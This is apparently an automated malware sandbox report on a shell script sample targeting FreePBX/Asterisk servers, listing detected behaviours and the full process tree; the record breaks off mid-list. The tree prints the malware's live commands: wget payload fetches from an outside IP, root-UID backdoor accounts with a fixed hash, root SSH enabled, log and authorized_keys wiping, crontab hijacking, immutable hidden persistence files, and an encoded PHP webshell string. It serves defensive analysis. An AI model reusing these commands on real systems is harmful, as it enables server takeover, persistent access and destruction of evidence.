Analysis
- max time kernel
36s - max time network
134s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
27/07/2026, 12:22
General
- Target k.php.sh
- Size 48KB
- Sample260727-pkbcnasale
- SHA256 b79b2fb0b2efb45c522c724c85e2122041a4cc896bd86a91a6955204e655d994
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 22 IoCs
- Creates/modifies Cron job 1 TTPs 9 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 14 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 19 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Checks CPU configuration 1 TTPs 35 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 20 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
-
/bin/bashbash2⤵
- Modifies password files for system users/ groups
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/rmrm -rf /tmp/k.php.sh /tmp/systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-s3e5U0 "/tmps/*" "/trmp/*" /var/tmp/systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-4GHWH0 "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/nobody5⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/user5⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/3⤵
-
-
/bin/grepgrep -rlZ atmin /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵
-
-
/usr/bin/sortsort -u3⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵
-
-
/usr/bin/cutcut -d : -f13⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵
-
-
/sbin/grepgrep -Il "<?php system("4⤵
-
-
/bin/grepgrep -Il "<?php system("4⤵
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
- Reads runtime system information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
- Reads runtime system information
-
-
/usr/bin/trtr -dc a-z0-93⤵
-
-
/usr/bin/headhead -c83⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.6ky2wkdu3⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.6ky2wkdu3⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.6ky2wkdu3⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep setsid /root/.bashrc3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep setsid /etc/rc.local3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
-
/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/systemctlsystemctl reload sshd3⤵
- Enumerates kernel/hardware configuration
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT3⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config3⤵
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache3⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache3⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config3⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config3⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data3⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data3⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority3⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X113⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority3⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc3⤵
-
-
/bin/mkdirmkdir -p /opt/.local3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc3⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg3⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
